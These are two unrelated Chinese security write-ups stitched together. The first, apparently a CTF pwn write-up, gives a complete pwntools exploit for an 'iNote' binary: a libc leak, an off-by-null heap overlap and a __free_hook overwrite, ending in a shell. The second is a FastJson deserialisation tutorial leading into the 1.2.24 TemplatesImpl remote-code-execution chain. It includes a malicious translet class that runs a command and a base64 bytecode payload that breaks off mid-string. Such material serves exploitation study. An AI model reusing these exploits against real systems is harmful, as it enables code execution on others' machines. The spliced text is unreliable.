9号chunk填充完毕的状态如下
pwndbg> x/32gx 0x556e6dcc56b0
0x556e6dcc56b0: 0x0000000000000000 0x0000000000000031
0x556e6dcc56c0: 0x2e5156512e514151 0x2e5156512e514151
0x556e6dcc56d0: 0x0000000000000100 0x0000000000000010
再次触发malloc_consolidate 和off by null后chunk的排布如下
0x56299f4065d0 0x6161616161616161 0x100 Freed 0x7f01a7875da0 0x7f01a7875da0
0x56299f4066d0 0x100 0x10 Freed 0x110 0x60
如上主要部分，我们已经成功获得chunk size为0x100的chunk，同时prev_size=0x110;prev_inuse=0任然保持
pwndbg> parseheap
addr prev size status fd bk
0x56299f406000 0x0 0x250 Used None None
0x56299f406250 0x0 0x80 Freed 0x0 None
0x56299f4062d0 0x0 0x80 Freed 0x56299f406260 None
0x56299f406350 0x0 0x80 Freed 0x56299f4062e0 None
0x56299f4063d0 0x0 0x80 Freed 0x56299f406360 None
0x56299f406450 0x0 0x80 Freed 0x56299f4063e0 None
0x56299f4064d0 0x0 0x80 Freed 0x56299f406460 None
0x56299f406550 0x0 0x80 Freed 0x61616161616161610x6161616161616161
0x56299f4065d0 0x6161616161616161 0x100 Freed 0x7f01a7875da0 0x7f01a7875da0
0x56299f4066d0 0x100 0x10 Freed 0x110 0x60
0x56299f4066e0 0x110 0x60 Freed 0x0 None
0x56299f406740 0x3131313131313131 0x60 Freed 0x56299f4066f0 None
0x56299f4067a0 0x3131313131313131 0x60 Freed 0x56299f406750 None
0x56299f406800 0x3131313131313131 0x60 Freed 0x56299f4067b0 None
0x56299f406860 0x3131313131313131 0x60 Freed 0x56299f406810 None
0x56299f4068c0 0x3131313131313131 0x60 Freed 0x56299f406870 None
0x56299f406920 0x3131313131313131 0x60 Freed 0x56299f4068d0 None
0x56299f406980 0x3131313131313131 0x30 Freed 0x0 None
0x56299f4069b0 0x3131313131313131 0x30 Freed 0x56299f406990 None
0x56299f4069e0 0x3131313131313131 0x30 Freed 0x56299f4069c0 None
0x56299f406a10 0x3131313131313131 0x30 Freed 0x56299f4069f0 None
0x56299f406a40 0x3131313131313131 0x30 Freed 0x56299f406a20 None
0x56299f406a70 0x3131313131313131 0x30 Freed 0x56299f406a50 None
0x56299f406aa0 0x3131313131313131 0x30 Freed 0x56299f406a80 None
##### 2.2
在如下部分chunk(0x110)后面布置一个chunk用来实现unlink造成堆重叠。
0x56299f4066d0 0x100 0x10 Freed 0x110 0x60
接着将0x100的chunk从unsortedbin之中分割出来一部分(0x78+0x58+0x10)
【在上面的0x56299f4066d0这部分chunk中我们在步骤2.1中已经完成他的chunk
size修改成了0x10所以分割unsortedbin时候可以正常分割0x10大小的chunk。】
unsortedbin 中还剩余 0x20 空间，与下一个 chunk 相差了 0x10 ，我们提前在这 0x10 中伪造 header ，当分配后修改的是
fake header prev_inuse 下一个 chunk 的 prev_inuse 被正常保留，可以用于 unlink 制造重叠空间
#0x110后面布置一个堆块，用于unlink造成堆重叠
for i in range(6):
add(i,0x58)
add(12,0x58)#tail:unlink
for i in range(6):#清空堆指针列表，方便后续操作
delete(i)
#将0x100切分分配出来0x78+0x58+0x10
for i in range(6):
add(i,0x78)
add(8,0x78)
for i in range(6):
delete(i)
for i in range(6):
add(i,0x58)
add(9,0x58)
for i in range(6):
delete(i)
add(10,0x10)
#gdb.attach(p)
2.2步骤完成后的chunk内容如下
pwndbg> x/10gx 0x55d6f7eeb6b0
0x55d6f7eeb6b0: 0x0000000000000000 0x0000000000000021
0x55d6f7eeb6c0: 0x0000000000000000 0x0000000000000000
0x55d6f7eeb6d0: 0x0000000000000020 0x0000000000000011
0x55d6f7eeb6e0: 0x0000000000000110 0x0000000000000060
0x55d6f7eeb6f0: 0x0000000000000000 0x0000000000000000
在这部分chunk中prev_inuse以及prev_size都被保留了下来
0x55d6f7eeb6e0: 0x0000000000000110 0x0000000000000060
##### 2.3
然后将 0x78+0x58 放回到 unsortedbin ，释放 0x110 后面的堆块就会向前合并，即 unsortedbin 里面变成 0x110 +
0x110 后面的堆 size 。
for i in range(7):
add(i,0x78)
for i in range(7):
delete(i)
delete(8)#fastbin
for i in range(7):
add(i,0x58)
for i in range(7):
delete(i)
delete(9)#fastbin
p.sendlineafter("choice: ",'1'*0x7000)
gdb.attach(p)
合并完成后的chunk如下，我们可以清楚的看见chunk size成功合并为0xe0大小同时prev_inuse 也变成了1
pwndbg> x/8gx 0x55b336b405d0
0x55b336b405d0: 0x6161616161616161 0x00000000000000e1
0x55b336b405e0: 0x00007f3aeb0d1d70 0x00007f3aeb0d1d70
0x55b336b405f0: 0x0000000000000000 0x0000000000000000
0x55b336b40600: 0x0000000000000000 0x0000000000000000
接着进行堆重叠
delete(12)
p.sendlineafter("choice: ",'1'*0x7000)
重叠部分的chunk如下
pwndbg> x/32gx 0x55b67f11d6b0
0x55b67f11d6b0: 0x00000000000000e0 0x0000000000000020
0x55b67f11d6c0: 0x0000000000000000 0x0000000000000000
#### 第三步实操
##### 3.1
直接利用重叠部分chunk攻打free_hook
for i in range(7):
add(i,0x78)
add(8,0x78)
for i in range(7):
delete(i)
for i in range(7):
add(i,0x58)
add(9,0x58)
for i in range(7):
delete(i)
for i in range(7):
add(i,0x20)
add(12,0x20)#hacker
for i in range(7):
delete(i)
for i in range(7):
add(i,0x20)
delete(10)
edit(12,p64(libc_base+libc.sym['__free_hook'])+'\n')
add(14,0x20)
add(15,0x20)
edit(15,p64(libc_base+0x4f432)+'\n')
delete(0)
p.interactive()
## EXP
#encoding:utf-8
from pwn import *
context.log_level='debug'
p = process("./iNote")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
def add(id,size):
p.sendlineafter("choice: ",str(1))
p.sendlineafter("Index: ",str(id))
p.sendlineafter("Size: ",str(size))
def edit(id,content):
p.sendlineafter("choice: ",str(2))
p.sendlineafter("Index: ",str(id))
p.sendafter("Content: ",content)
def show(id):
p.sendlineafter("choice: ",str(3))
p.sendlineafter("Index: ",str(id))
def delete(id):
p.sendlineafter("choice: ",str(4))
p.sendlineafter("Index: ",str(id))
#unsortedbin泄露libc地址
for i in range(8):
add(i,0x78)
add(8,0x58)#后面offbynull构造0x110
add(9,0x20)#后面offbynull构造0x110
for i in list(range(8)):
delete(i)
p.sendlineafter("choice: ",'1'*0x7000)#fastbin 2 unsortedbin
for i in list(range(7))[::-1]:
add(i,0x78)
add(7,0x78)
show(7)
p.recvuntil("Content: ")
main_arean_208 = u64(p.recv(6).ljust(8,'\x00'))
log.info("main_arean_208:"+hex(main_arean_208))
libc_base = main_arean_208 - 208 - (0x7ffff7dcdc40-0x7ffff79e2000)
log.info("libc_base:"+hex(libc_base))
# off by null 构造重叠区域
# 构造0x110(0x70+0x60+0x30)的unsortedbin
# unlink时会将0x110后面堆修改为：prev_size=0x110;prev_inuse=0;
for i in list(range(7)):
delete(i)
delete(7)#0x68
for i in range(7):
add(i,0x58)
for i in list(range(7)):
delete(i)
delete(8)#0x58
for i in list(range(7)):
add(i,0x20)
for i in list(range(7)):
delete(i)
edit(9,"QAQ.QVQ."*2+p64(0x100)+p64(0x10))#伪造一个header，用来向前（低地址）合并造成堆重叠
delete(9)#0x20
p.sendlineafter("choice: ",'1'*0x7000)#fastbin 2 unsortedbin
#off by null将0x110覆盖为0x100
add(11,0x78)#head:用于off by null溢出修改size(0x110->0x100)
edit(11,'a'*0x78)
#0x110后面布置一个堆块，用于unlink造成堆重叠
for i in range(6):
add(i,0x58)
add(12,0x58)#tail:unlink
for i in range(6):#清空堆指针列表，方便后续操作
delete(i)
#将0x100切分分配出来0x78+0x58+0x10
for i in range(6):
add(i,0x78)
add(8,0x78)
for i in range(6):
delete(i)
for i in range(6):
add(i,0x58)
add(9,0x58)
for i in range(6):
delete(i)
add(10,0x10)
#然后将 0x78+0x58 放回到 unsortedbin ，释放 0x110 后面的堆块就会向前合并，即 unsortedbin 里面变成 0x110 + 0x110 后面的堆 size 。
for i in range(7):
add(i,0x78)
for i in range(7):
delete(i)
delete(8)#fastbin
for i in range(7):
add(i,0x58)
for i in range(7):
delete(i)
delete(9)#fastbin
p.sendlineafter("choice: ",'1'*0x7000)
# 堆重叠
delete(12)
p.sendlineafter("choice: ",'1'*0x7000)
#free_hook attack
for i in range(7):
add(i,0x78)
add(8,0x78)
for i in range(7):
delete(i)
for i in range(7):
add(i,0x58)
add(9,0x58)
for i in range(7):
delete(i)
for i in range(7):
add(i,0x20)
add(12,0x20)#hacker
for i in range(7):
delete(i)
for i in range(7):
add(i,0x20)
delete(10)
edit(12,p64(libc_base+libc.sym['__free_hook'])+'\n')
add(14,0x20)
add(15,0x20)
edit(15,p64(libc_base+0x4f432)+'\n')
delete(0)
p.interactive()
getshell成功
[*] Switching to interactive mode
$ cat flag
[DEBUG] Sent 0x9 bytes:
'cat flag\n'
[DEBUG] Received 0x1a bytes:
'flag{QAQ_I_am_local_flag}\n'
flag{QAQ_I_am_local_flag}
$ | 社区文章 |
# FastJson介绍&入门
`FastJson`是阿里巴巴的开源`JSON`解析库，它可以解析`JSON`格式的字符串，支持将`Java
Bean`序列化为`JSON`字符串，也可以从JSON字符串反序列化到`Java Bean`。
## 序列化
序列化的函数为`JSON.toJSONString`
User.java
import java.util.Properties;
public class User {
public String name1; //public且有get set
public String name2; //public且有get
public String name3; //public且有set
public String name4; //仅仅public
private String age1; //private且有get set
private String age2; //private且有get
private String age3; //private且有set
private String age4; //仅仅private
public Properties prop1_1; //public且有get set
public Properties prop1_2; //public且有get
public Properties prop1_3; //public且有set
public Properties prop1_4; //仅仅public
private Properties prop2_1; //private且有get set
private Properties prop2_2; //private且有get
private Properties prop2_3; //private且有set
private Properties prop2_4; //仅仅private
@Override
public String toString() {
return "User{" +
"name1='" + name1 + '\'' +
", name2='" + name2 + '\'' +
", name3='" + name3 + '\'' +
", name4='" + name4 + '\'' +
", age1='" + age1 + '\'' +
", age2='" + age2 + '\'' +
", age3='" + age3 + '\'' +
", age4='" + age4 + '\'' +
", prop1_1=" + prop1_1 +
", prop1_2=" + prop1_2 +
", prop1_3=" + prop1_3 +
", prop1_4=" + prop1_4 +
", prop2_1=" + prop2_1 +
", prop2_2=" + prop2_2 +
", prop2_3=" + prop2_3 +
", prop2_4=" + prop2_4 +
'}';
}
public void setProp1_3(Properties prop1_3) {
String methodName = Thread.currentThread().getStackTrace()[1].getMethodName();
System.out.println(methodName + "() is called");
this.prop1_3 = prop1_3;
}
public void setProp2_3(Properties prop2_3) {
String methodName = Thread.currentThread().getStackTrace()[1].getMethodName();
System.out.println(methodName + "() is called");
this.prop2_3 = prop2_3;
}
public Properties getProp1_2() {
String methodName = Thread.currentThread().getStackTrace()[1].getMethodName();
System.out.println(methodName + "() is called");
return prop1_2;
}
public Properties getProp2_2() {
String methodName = Thread.currentThread().getStackTrace()[1].getMethodName();
System.out.println(methodName + "() is called");
return prop2_2;
}
public Properties getProp1_1() {
String methodName = Thread.currentThread().getStackTrace()[1].getMethodName();
System.out.println(methodName + "() is called");
return prop1_1;
}
public void setProp1_1(Properties prop1_1) {
String methodName = Thread.currentThread().getStackTrace()[1].getMethodName();
System.out.println(methodName + "() is called");
this.prop1_1 = prop1_1;
}
public Properties getProp2_1() {
String methodName = Thread.currentThread().getStackTrace()[1].getMethodName();
System.out.println(methodName + "() is called");
return prop2_1;
}
public void setProp2_1(Properties prop2_1) {
String methodName = Thread.currentThread().getStackTrace()[1].getMethodName();
System.out.println(methodName + "() is called");
this.prop2_1 = prop2_1;
}
public String getName1() {
String methodName = Thread.currentThread().getStackTrace()[1].getMethodName();
System.out.println(methodName + "() is called");
return name1;
}
public void setName1(String name1) {
String methodName = Thread.currentThread().getStackTrace()[1].getMethodName();
System.out.println(methodName + "() is called");
this.name1 = name1;
}
public String getAge1() {
String methodName = Thread.currentThread().getStackTrace()[1].getMethodName();
System.out.println(methodName + "() is called");
return age1;
}
public void setAge1(String age1) {
String methodName = Thread.currentThread().getStackTrace()[1].getMethodName();
System.out.println(methodName + "() is called");
this.age1 = age1;
}
public String getName2() {
String methodName = Thread.currentThread().getStackTrace()[1].getMethodName();
System.out.println(methodName + "() is called");
return name2;
}
public String getAge2() {
String methodName = Thread.currentThread().getStackTrace()[1].getMethodName();
System.out.println(methodName + "() is called");
return age2;
}
public void setName3(String name3) {
String methodName = Thread.currentThread().getStackTrace()[1].getMethodName();
System.out.println(methodName + "() is called");
this.name3 = name3;
}
public void setAge3(String age3) {
String methodName = Thread.currentThread().getStackTrace()[1].getMethodName();
System.out.println(methodName + "() is called");
this.age3 = age3;
}
public User() {
this.name1 = "rai4over1";
this.name2 = "rai4over2";
this.name3 = "rai4over3";
this.name4 = "rai4over4";
this.age1 = "a1";
this.age2 = "a2";
this.age3 = "a3";
this.age4 = "a4";
prop1_1 = new Properties();
prop1_2 = new Properties();
prop1_3 = new Properties();
prop1_4 = new Properties();
prop1_1.put("prop1_1", "1_1");
prop1_2.put("prop1_2", "1_2");
prop1_3.put("prop1_3", "1_3");
prop1_4.put("prop1_4", "1_4");
prop2_1 = new Properties();
prop2_2 = new Properties();
prop2_3 = new Properties();
prop2_4 = new Properties();
prop2_1.put("prop2_1", "2_1");
prop2_2.put("prop2_2", "2_2");
prop2_3.put("prop2_3", "2_3");
prop2_4.put("prop2_4", "2_4");
System.out.println("User init() is called");
}
}
该类中使用无参数构造函数初始化成员，包含`16`个成员,分别为`String`
、`Properties`两种类型，并被`public`、`private`修饰的，并且对应的`get`、`set`方法有所不同形成对比，以探究具体的调用情况。
### 非自省
常用的方式为：
public static String toJSONString(Object object)
Test.java
import com.alibaba.fastjson.JSON;
public class Test {
public static void main(String[] args) {
User a = new User();
System.out.println("===========================");
String jsonstr_a = JSON.toJSONString(a);
}
}
运行结果：
User init() is called
===========================
getAge1() is called
getAge2() is called
getName1() is called
getName2() is called
getProp1_1() is called
getProp1_2() is called
getProp2_1() is called
getProp2_2() is called
{
"age1": "a1",
"age2": "a2",
"name1": "rai4over1",
"name2": "rai4over2",
"name3": "rai4over3",
"name4": "rai4over4",
"prop1_1": {
"prop1_1": "1_1"
},
"prop1_2": {
"prop1_2": "1_2"
},
"prop1_3": {
"prop1_3": "1_3"
},
"prop1_4": {
"prop1_4": "1_4"
},
"prop2_1": {
"prop2_1": "2_1"
},
"prop2_2": {
"prop2_2": "2_2"
}
}
可以发现在序列化时，`FastJson`会调用成员对应的`get`方法，被`private`修饰且没有`get`方法的成员不会被序列化，被`public`修饰的成员都会被序列化，并且序列化的结果是标准的`JSON`字符串。
### 自省
`JSON`标准是不支持自省的，也就是说根据`JSON`文本，不知道它包含的对象的类型。
`FastJson`支持自省，在序列化时传入类型信息`SerializerFeature.WriteClassName`，可以得到能表明对象类型的`JSON`文本。
`FastJson`的漏洞就是由于这个功能引起的。
使用方式
public static String toJSONString(Object object, SerializerFeature... features)
Test.java
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.serializer.SerializerFeature;
public class Test {
public static void main(String[] args) {
User a = new User();
System.out.println("===========================");
String jsonstr_a = JSON.toJSONString(a, SerializerFeature.WriteClassName);
}
}
运行结果：
User init() is called
===========================
getAge1() is called
getAge2() is called
getName1() is called
getName2() is called
getProp1_1() is called
getProp1_2() is called
getProp2_1() is called
getProp2_2() is called
{
"@type": "User",
"age1": "a1",
"age2": "a2",
"name1": "rai4over1",
"name2": "rai4over2",
"name3": "rai4over3",
"name4": "rai4over4",
"prop1_1": {
"@type": "java.util.Properties",
"prop1_1": "1_1"
},
"prop1_2": {
"@type": "java.util.Properties",
"prop1_2": "1_2"
},
"prop1_3": {
"@type": "java.util.Properties",
"prop1_3": "1_3"
},
"prop1_4": {
"@type": "java.util.Properties",
"prop1_4": "1_4"
},
"prop2_1": {
"@type": "java.util.Properties",
"prop2_1": "2_1"
},
"prop2_2": {
"@type": "java.util.Properties",
"prop2_2": "2_2"
}
}
结果和上文相同，`JSON`字符串中新增`@type`字段名，用来表明指定反序列化的目标对象类型为`User`
## 反序列化
反序列化的函数为`JSON.parseObject`
### 非自省
使用方式
public static <T> T parseObject(String text, Class<T> clazz)
需要在`JSON.parseObject`中传入`Class<T> clazz`
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;
import com.alibaba.fastjson.serializer.SerializerFeature;
public class Test {
public static void main(String[] args) {
String jsonstr_a = "{\"age1\":\"a1\",\"age2\":\"a2\",\"age3\":\"a3\",\"age4\":\"a4\",\"name1\":\"rai4over1\",\"name2\":\"rai4over2\",\"name3\":\"rai4over3\",\"name4\":\"rai4over4\",\"prop1_1\":{\"prop1_1\":\"1_1\"},\"prop1_2\":{\"prop1_2\":\"1_2\"},\"prop1_3\":{\"prop1_3\":\"1_3\"},\"prop1_4\":{\"prop1_4\":\"1_4\"},\"prop2_1\":{\"prop2_1\":\"2_1\"},\"prop2_2\":{\"prop2_2\":\"2_2\"},\"prop2_3\":{\"prop2_3\":\"2_3\"},\"prop2_4\":{\"prop2_4\":\"2_4\"}}";
System.out.println(jsonstr_a);
System.out.println("===========================");
User b = JSON.parseObject(jsonstr_a, User.class);
System.out.println(b);
}
}
运行结果：
{"age1":"a1","age2":"a2","age3":"a3","age4":"a4","name1":"rai4over1","name2":"rai4over2","name3":"rai4over3","name4":"rai4over4","prop1_1":{"prop1_1":"1_1"},"prop1_2":{"prop1_2":"1_2"},"prop1_3":{"prop1_3":"1_3"},"prop1_4":{"prop1_4":"1_4"},"prop2_1":{"prop2_1":"2_1"},"prop2_2":{"prop2_2":"2_2"},"prop2_3":{"prop2_3":"2_3"},"prop2_4":{"prop2_4":"2_4"}}
===========================
User init() is called
setAge1() is called
setAge3() is called
setName1() is called
setName3() is called
setProp1_1() is called
setProp1_3() is called
setProp2_1() is called
getProp2_2() is called
setProp2_3() is called
User{name1='rai4over1', name2='rai4over2', name3='rai4over3', name4='rai4over4', age1='a1', age2='null', age3='a3', age4='null', prop1_1={prop1_1=1_1}, prop1_2={prop1_2=1_2}, prop1_3={prop1_3=1_3}, prop1_4={prop1_4=1_4}, prop2_1={prop2_1=2_1}, prop2_2=null, prop2_3={prop2_3=2_3}, prop2_4=null}
在反序列化时，`String`类型会调用了全部的`setter`，但还额外调用了`getProp2_2`。`publibc`修饰的成员全部赋值，`private`修饰的成员则为`NULL`。
### 自省
`JSON.parseObject`除了传入`Class<T> clazz`非自省反序列化，也同样有自省反序列化
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;
import com.alibaba.fastjson.parser.Feature;
import com.alibaba.fastjson.serializer.SerializerFeature;
public class Test {
public static void main(String[] args) {
String jsonstr_a = "{\"@type\":\"User\",\"age1\":\"a1\",\"age2\":\"a2\",\"age3\":\"a3\",\"age4\":\"a4\",\"name1\":\"rai4over1\",\"name2\":\"rai4over2\",\"name3\":\"rai4over3\",\"name4\":\"rai4over4\",\"prop1_1\":{\"@type\":\"java.util.Properties\",\"prop1_1\":\"1_1\"},\"prop1_2\":{\"@type\":\"java.util.Properties\",\"prop1_2\":\"1_2\"},\"prop1_3\":{\"@type\":\"java.util.Properties\",\"prop1_3\":\"1_3\"},\"prop1_4\":{\"@type\":\"java.util.Properties\",\"prop1_4\":\"1_4\"},\"prop2_1\":{\"@type\":\"java.util.Properties\",\"prop2_1\":\"2_1\"},\"prop2_2\":{\"@type\":\"java.util.Properties\",\"prop2_2\":\"2_2\"},\"prop2_3\":{\"@type\":\"java.util.Properties\",\"prop2_3\":\"2_3\"},\"prop2_4\":{\"@type\":\"java.util.Properties\",\"prop2_4\":\"2_4\"}}";
System.out.println(jsonstr_a);
System.out.println("===========================");
//User b = JSON.parseObject(jsonstr_a, User.class);
JSONObject b = JSON.parseObject(jsonstr_a);
//Object b = JSON.parse(jsonstr_a);
System.out.println(b);
}
}
运行结果
{"@type":"User","age1":"a1","age2":"a2","age3":"a3","age4":"a4","name1":"rai4over1","name2":"rai4over2","name3":"rai4over3","name4":"rai4over4","prop1_1":{"@type":"java.util.Properties","prop1_1":"1_1"},"prop1_2":{"@type":"java.util.Properties","prop1_2":"1_2"},"prop1_3":{"@type":"java.util.Properties","prop1_3":"1_3"},"prop1_4":{"@type":"java.util.Properties","prop1_4":"1_4"},"prop2_1":{"@type":"java.util.Properties","prop2_1":"2_1"},"prop2_2":{"@type":"java.util.Properties","prop2_2":"2_2"},"prop2_3":{"@type":"java.util.Properties","prop2_3":"2_3"},"prop2_4":{"@type":"java.util.Properties","prop2_4":"2_4"}}
===========================
User init() is called
setAge1() is called
setAge3() is called
setName1() is called
setName3() is called
setProp1_1() is called
setProp1_3() is called
setProp2_1() is called
getProp2_2() is called
setProp2_3() is called
getAge1() is called
getAge2() is called
getName1() is called
getName2() is called
getProp1_1() is called
getProp1_2() is called
getProp2_1() is called
getProp2_2() is called
{"prop1_3":{"prop1_3":"1_3"},"prop1_4":{"prop1_4":"1_4"},"name4":"rai4over4","prop1_1":{"prop1_1":"1_1"},"name3":"rai4over3","prop1_2":{"prop1_2":"1_2"},"prop2_1":{"prop2_1":"2_1"},"name2":"rai4over2","name1":"rai4over1","age1":"a1"}
调用了全部的`getter`方法，`setter`方法全部调用，但`getProp2_2`额外调用一次（共调用了两次）。
使用`JSON.parse`函数也同样能进行反序列化。
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;
import com.alibaba.fastjson.serializer.SerializerFeature;
public class Test {
public static void main(String[] args) {
String jsonstr_a = "{\"@type\":\"User\",\"age1\":\"a1\",\"age2\":\"a2\",\"age3\":\"a3\",\"age4\":\"a4\",\"name1\":\"rai4over1\",\"name2\":\"rai4over2\",\"name3\":\"rai4over3\",\"name4\":\"rai4over4\",\"prop1_1\":{\"@type\":\"java.util.Properties\",\"prop1_1\":\"1_1\"},\"prop1_2\":{\"@type\":\"java.util.Properties\",\"prop1_2\":\"1_2\"},\"prop1_3\":{\"@type\":\"java.util.Properties\",\"prop1_3\":\"1_3\"},\"prop1_4\":{\"@type\":\"java.util.Properties\",\"prop1_4\":\"1_4\"},\"prop2_1\":{\"@type\":\"java.util.Properties\",\"prop2_1\":\"2_1\"},\"prop2_2\":{\"@type\":\"java.util.Properties\",\"prop2_2\":\"2_2\"},\"prop2_3\":{\"@type\":\"java.util.Properties\",\"prop2_3\":\"2_3\"},\"prop2_4\":{\"@type\":\"java.util.Properties\",\"prop2_4\":\"2_4\"}}";
System.out.println(jsonstr_a);
System.out.println("===========================");
//User b = JSON.parseObject(jsonstr_a, User.class);
//JSONObject b = JSON.parseObject(jsonstr_a);
//User b = JSON.parseObject(jsonstr_a);
Object b = JSON.parse(jsonstr_a);
System.out.println(b);
}
}
运行结果：
{"@type":"User","age1":"a1","age2":"a2","age3":"a3","age4":"a4","name1":"rai4over1","name2":"rai4over2","name3":"rai4over3","name4":"rai4over4","prop1_1":{"@type":"java.util.Properties","prop1_1":"1_1"},"prop1_2":{"@type":"java.util.Properties","prop1_2":"1_2"},"prop1_3":{"@type":"java.util.Properties","prop1_3":"1_3"},"prop1_4":{"@type":"java.util.Properties","prop1_4":"1_4"},"prop2_1":{"@type":"java.util.Properties","prop2_1":"2_1"},"prop2_2":{"@type":"java.util.Properties","prop2_2":"2_2"},"prop2_3":{"@type":"java.util.Properties","prop2_3":"2_3"},"prop2_4":{"@type":"java.util.Properties","prop2_4":"2_4"}}
===========================
User init() is called
setAge1() is called
setAge3() is called
setName1() is called
setName3() is called
setProp1_1() is called
setProp1_3() is called
setProp2_1() is called
getProp2_2() is called
setProp2_3() is called
User{name1='rai4over1', name2='rai4over2', name3='rai4over3', name4='rai4over4', age1='a1', age2='null', age3='a3', age4='null', prop1_1={prop1_1=1_1}, prop1_2={prop1_2=1_2}, prop1_3={prop1_3=1_3}, prop1_4={prop1_4=1_4}, prop2_1={prop2_1=2_1}, prop2_2=null, prop2_3={prop2_3=2_3}, prop2_4=null}
反序列化时的`getter`、`setter`调用情况和非自省的一样，`getProp2_2`额外调用一次。
### Feature.SupportNonPublicField
对于没有`set`方法的`private`成员，反序列化时传递`Feature.SupportNonPublicField` 即可完成赋值。
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
public class Test {
public static void main(String[] args) {
String jsonstr_a = "{\"age1\":\"a1\",\"age2\":\"a2\",\"age3\":\"a3\",\"age4\":\"a4\",\"name1\":\"rai4over1\",\"name2\":\"rai4over2\",\"name3\":\"rai4over3\",\"name4\":\"rai4over4\",\"prop1_1\":{\"prop1_1\":\"1_1\"},\"prop1_2\":{\"prop1_2\":\"1_2\"},\"prop1_3\":{\"prop1_3\":\"1_3\"},\"prop1_4\":{\"prop1_4\":\"1_4\"},\"prop2_1\":{\"prop2_1\":\"2_1\"},\"prop2_2\":{\"prop2_2\":\"2_2\"},\"prop2_3\":{\"prop2_3\":\"2_3\"},\"prop2_4\":{\"prop2_4\":\"2_4\"}}";
System.out.println(jsonstr_a);
System.out.println("===========================");
User b = JSON.parseObject(jsonstr_a, User.class, Feature.SupportNonPublicField);
System.out.println(b);
}
}
运行结果：
{"age1":"a1","age2":"a2","age3":"a3","age4":"a4","name1":"rai4over1","name2":"rai4over2","name3":"rai4over3","name4":"rai4over4","prop1_1":{"prop1_1":"1_1"},"prop1_2":{"prop1_2":"1_2"},"prop1_3":{"prop1_3":"1_3"},"prop1_4":{"prop1_4":"1_4"},"prop2_1":{"prop2_1":"2_1"},"prop2_2":{"prop2_2":"2_2"},"prop2_3":{"prop2_3":"2_3"},"prop2_4":{"prop2_4":"2_4"}}
===========================
User init() is called
setAge1() is called
setAge3() is called
setName1() is called
setName3() is called
setProp1_1() is called
setProp1_3() is called
setProp2_1() is called
getProp2_2() is called
setProp2_3() is called
User{name1='rai4over1', name2='rai4over2', name3='rai4over3', name4='rai4over4', age1='a1', age2='a2', age3='a3', age4='a4', prop1_1={prop1_1=1_1}, prop1_2={prop1_2=1_2}, prop1_3={prop1_3=1_3}, prop1_4={prop1_4=1_4}, prop2_1={prop2_1=2_1}, prop2_2=null, prop2_3={prop2_3=2_3}, prop2_4={prop2_4=2_4}}
## 结论
根据几种输出的结果，可以得到每种调用方式的特点：
* `parseObject(String text, Class<T> clazz)` ，构造方法 + `setter` \+ 满足条件额外的`getter`
* `JSONObject parseObject(String text)`，构造方法 + `setter` \+ `getter` \+ 满足条件额外的`getter`
* `parse(String text)`，构造方法 + `setter` \+ 满足条件额外的`getter`
# Fastjson 1.2.24 远程代码执行&&TemplatesImpl 利用链
FastJson在`1.2.22` \- `1.2.24` 版本中存在反序列化漏洞，主要原因FastJson支持的两个特性：
* fastjson反序列化时，JSON字符串中的`@type`字段，用来表明指定反序列化的目标恶意对象类。
* fastjson反序列化时，字符串时会自动调用恶意对象的构造方法，`set`方法，`get`方法，若这类方法中存在利用点，即可完成漏洞利用。
主要存在两种利用方式：
* JdbcRowSetImpl(JNDI)
* TemplatesImpl(Feature.SupportNonPublicField)
先讨论`TemplatesImpl`利用链
## 漏洞测试环境
* Windows
* Java(TM) SE Runtime Environment (build 1.8.0_112-b15)
* fastjson 1.2.24
* JSON.parseObject(payload, Feature.SupportNonPublicField);
恶意对象类：
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;
public class poc_1 extends AbstractTranslet {
public poc_1() throws IOException {
Runtime.getRuntime().exec("calc");
}
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
public static void main(String[] args) throws Exception {
poc_1 t = new poc_1();
}
}
`javac`编译成字节码，然后对字节码继续宁`base64`编码填充POC的`_bytecodes`字段。
POC：
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
public class java1_2_25 {
public static void main(String[] args) {
String payload = "{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\",\"_bytecodes\":[\"yv66vgAAADQAJgoABwAXCgAYABkIABoKABgAGwcAHAoABQAXBwAdAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEACkV4Y2VwdGlvbnMHAB4BAAl0cmFuc2Zvcm0BAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWBwAfAQAEbWFpbgEAFihbTGphdmEvbGFuZy9TdHJpbmc7KVYHACABAApTb3VyY2VGaWxlAQAKcG9jXzEuamF2YQwACAAJBwAhDAAiACMBAARjYWxjDAAkACUBAAVwb2NfMQEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQBABNqYXZhL2lvL0lPRXhjZXB0aW9uAQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQATamF2YS9sYW5nL0V4Y2VwdGlvbgEAE